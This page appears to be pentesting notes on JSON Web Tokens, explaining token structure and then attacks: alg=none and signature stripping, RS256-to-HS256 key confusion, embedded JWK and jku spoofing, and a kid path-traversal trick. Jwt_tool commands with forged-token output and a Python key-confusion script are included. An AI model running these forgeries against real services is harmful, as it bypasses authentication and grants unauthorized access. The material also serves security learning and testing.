Skip to content

JWT

JSON Web Tokens (JWT) for Authentication

Learning about JWT
A toolkit for testing, tweaking and cracking JSON Web Tokens

JSON Web Token (JWT) is a compact URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Signature (JWS).

Auth Flow:
1. Make request to Identity Provider and return JWT.
2. Use JWT for authentication to Service Provider.

  • If Algorithm is Symmetric Key is shared with both the Identity Provider and the Service Provider.
  • If Algorithm is Private Key is only needed by the Identity Provider.

JWT Example

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9                                             // header
.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ      // payload
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c                                     // signature

Decoded JWT:

//Header
{
  "alg": "HS256",
  "kid": "fecf-abd3-44af33ea-2eac",
  "typ": "JWT"
}

//Payload
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

//Verify Signature
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  password
)

Headers

The first part of a JWT is an encoded string representation of a simple JavaScript object which describes the token along with the hashing algorithm used.

Algorithms

  • None
  • HS256: HMAC using SHA-256
  • HS384: HMAC using SHA-384
  • HS512: HMAC using SHA-512
  • RS256: RSASSA-PKCS1-v1_5 using SHA-256
  • RS384: RSASSA-PKCS1-v1_5 using SHA-384
  • RS512: RSASSA-PKCS1-v1_5 using SHA-512
  • ES256: ECDSA using P-256 and SHA-256
  • ES384: ECDSA using P-384 and SHA-384
  • ES512: ECDSA using P-521 and SHA-512
  • PS256: RSASSA-PSS using SHA-256 and MGF1 with SHA-256
  • PS384: RSASSA-PSS using SHA-384 and MGF1 with SHA-384
  • PS512: RSASSA-PSS using SHA-512 and MGF1 with SHA-512

KeyID (kid)

Which Key is used for authentication.

Payload

The second part of the JWT forms the core of the token. Payload length is proportional to the amount of data you store in the JWT. General rule of thumb is: store the bare minimum in the JWT.

  • iat: issued at time – epoch time when this JWT was issued
  • exp: expiration time – epoch time when this JWT becomes invalid
  • nbf: not before time – epoch time when this JWT becomes valid
  • iss: issuer – who issued this JWT
  • sub: subject – the claims in the JWT concern this party
  • aud: audience – intended recipient
  • jti: JWT ID – a unique identifier for JWTs

Signature

The third, and final, part of the JWT is a signature generated based on the header (part one) and the body (part two) and will be used to verify that the JWT is valid.

Security

JWT Vulns

Invalidating sessions can only be done if the payload contains a session cookie that is verified in the database for validity.

Most JWT tokens are signed using a password and not a key. If the password is not secure enough it may be possible to break it by brute-forcing it.

Attacks:
- Information Disclosure
- Signature Exclusion
- Key Confusion
- JSON Web Key (JWK) Attack
- Brute Force Private Key
- Key ID Attacks
- Timing Attacks

Information Disclosure

Payload is in clear-text make sure it does not contain any sensitive data. (ie. Passwords)

Signature Exclusion

Remove the signature

Change alg=none and remove the signature

Example:

#alg=none
>>> python ./jwt_tool.py -b eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X a              
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRpY2FycGkifQ.
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJsb2dpbiI6InRpY2FycGkifQ.
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJsb2dpbiI6InRpY2FycGkifQ.
eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJsb2dpbiI6InRpY2FycGkifQ.

#Remove Signature
>>> python ./jwt_tool.py -b eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X n  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.

Key Confusion

The verification key that is used in with a Private/Public Key Algorithm uses a public key.
The verification key that is used in with a Symmetric Key Algorithm uses a private key.

When taking a JWT from a Using a Private/Public Key Algorithm and changing the header to a Symmetric Key Algorithm.
The verifier will use the public key for validating the signature of the algorithm.
If the Public key is know than it is possible to change the data within the JWT.

Example:

#Signature with a null String
>>> python ./jwt_tool.py -b eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X b
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.6iW3XbKRol_fh1x2Zu5FyfExk8EChz1gMkhuoWmL8OI

#Brute Force Key

Example Code:

import jwt
import requests

from jwcrypto import jwk
from cryptography.x509 import load_pem_x509_certificate
from cryptography.hazmat.backends import default_backend

# configuration
jwks_url = "https://localhost/oauth2/.well-known/jwks.json"
operation_url = "https://localhost/web/v1/user/andy"
audience = "https://localhost"
token = "eyJh..."

# retrieves key from jwks
def retrieve_jwks(url):
    r = requests.get(url)
    if r.status_code == 200:
        for key in r.json()['keys']:
            if key['kty'] == "RSA":
                return jwk.JWK(**key)
        print("no usable RSA key found")
    else:
        print("could not retrieve JWKS: HTTP status code " + str(r.status_code))

def extract_payload(token, public_key, audience):
    return jwt.decode(token, public_key, audience=audience, algorithms='RS256')

def retrieve_url(url, token):
    header = {'Authorization' : "Bearer " + token}
    return requests.get(url, headers=header)

# call the original operation and output it's results
original = retrieve_url(operation_url, token)
print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json()))

# get key and extract the original payload (verify it during decoding to make
# sure that we have the right key, also verify the audience claim)
public_key = retrieve_jwks(jwks_url).export_to_pem()
payload = extract_payload(token, public_key, audience)
print("(verified) payload: " + str(payload))

# create a new token based upon HS256, cause the jwt library checks this
# to prevent against confusion attacks.. that we actually try to do (:
mac_key = str(public_key).replace("PUBLIC", "PRIVATE")
hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256")

# call the operation with the new token
modified = retrieve_url(operation_url, str(hs256_token))
print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json()))

JSON Web Key (JWK) Attack

In the header you can specify the key that is being used Exploit PoC

Example Config File:

{"alg":"RS256","jwk":
{"kty":"RSA",
"kid":"[email protected]",
"use":"sig",
"n":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAG8JNdeEQnMvq8FZy4afc8p6Kew4K2zqypQ_i3F27nOOtIqJUBFuzvrGe6-wvBcyEES6t5WIZXxwffu1DScwym79NRmdSWqvhMz6rn2bx4ca8L3QIlwcKZf5-8k750afBpb8WeJGTn62_8gcsSmCXmLxgij_i1aCpl_FLzPe9H",
"e":"AAAAAAAAAAAAAQAB"}}
{"user":"admin"}

Example Exploit:

#Inline Exploit
#Embedded Key in Header
>>> python ./jwt_tool.py -b eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X i
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJqd3RfdG9vbCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjNvTEFzTUpwQmlhRHRzbFljX0NLaWhZbE4wblZ2eFlMMHJVMzhPcVpNRGUxdUw5RzhiQnhFV0RSWnVHN2VveGJRaTY2N1U5cXFkekJnamhRTENMSHJUakQyc0p3eUZCdWVBS0Zfdm1LYnUwb2pTdnE5QXBxVXptdEZmaGZLSkg0UzRKcHNfNkFnVkNYSHh1ZzhjLW1uSEJ3dVhJc2tKV2MySmU2SVBQR29qbVBEMmQweXRGaXVQVHFhaDY1SEFDMl83azA3d0ZpRlpmcmk5Z2V5ZlBsQ0hWQWRoWm9hbTFQbGl3UU5pQnVtOVdoYkZDNWMya0FqUkVQQm1XYlVHNS1mTjQ1YUJXd1ExVnpHb0ZvWk5LeENjanVWamlaZ01SeTliU2d2dGtVTktVMXFncHRZRm9hQU5DMjNtc1RWNTJ4TGpjXzZMRDhrQTJHakhSQndzbEFSUSJ9fQ.eyJsb2dpbiI6InRpY2FycGkifQ.smr7aMCXGJLrB_6TdpV6-KL-9uOOA1eme95tq1ZD6cjdkSDGSMdeDi11Xu9JbaryuSMtoRvphH3eL-1O2GHmJ3LjIFYnjg__Dg_H_LMqnJJ4ghnnTnAiaLL-McticN8NEV5KDskgo-1ou9nvJ8ojVch9j-ucBs1KBMUu53SHMwIen2g1U1x0Mvos4tkBmCyA3JOInNPWYpg1Nd4XfNbGeE_-_fyOJ8TAv9caYrFaZapea497y1dGQH-QhWX4WFhwPt7qvXJu1GpTzEq_-_ce1QfsLJnpJMsEUWFdwPudO2NW1N3y33P0BdVTmN0qQMTeUY1bZnYIwASPhrmqAARDMg

#From URL
>>> python ./jwt_tool.py -b eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X s -ju http://example.com
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9leGFtcGxlLmNvbSJ9.eyJsb2dpbiI6InRpY2FycGkifQ.i61EdBIFIsxE1h7TiKnvZ-frJXkGyq2NPya1bWKFh4CsOYz52AgXeQ_0Xr5hxD9ZExa7vBxOqPZfZz_Z1VM00i85pupOkBwpDSvXsa2sk5crrTALFJvRgCjuyuTo39mLi-xefPia0Yf_QfFukU2bUR9P64KnastVseHammhi-evBaJP-WwljIyB2sFtH21oY6BFHz0v6OuQzrQG1Rs7CStJiOD6cckt3PL68xIP_djZgG75SZ3QX33xDgRGLd-MQ5PHVV_rRar-r_V0zyJTsEEUOhtHdcoLpgKrmGCt2a5tBHeAWtRdlNxyMbNKnCBxtnhnfnWWGw0aIJpmvucgiXg

Key ID Attacks

Setting the key to a known file may allow the user to be able to predict the key.

Path Example:

import jwt
secret = ''
encoded = jwt.encode({"user":"admin"}, secret, algorithm="HS256",
headers={"kid":"../../../../../../../../../../../dev/null"})
print encoded

Invalidate Session

Must have a sessionID in payload and have a way to revoke the session.

Decode vs Verify

jwt.decode() will decrypt the payload. This will not verify the signature
jwt.verify() will check the signature with the message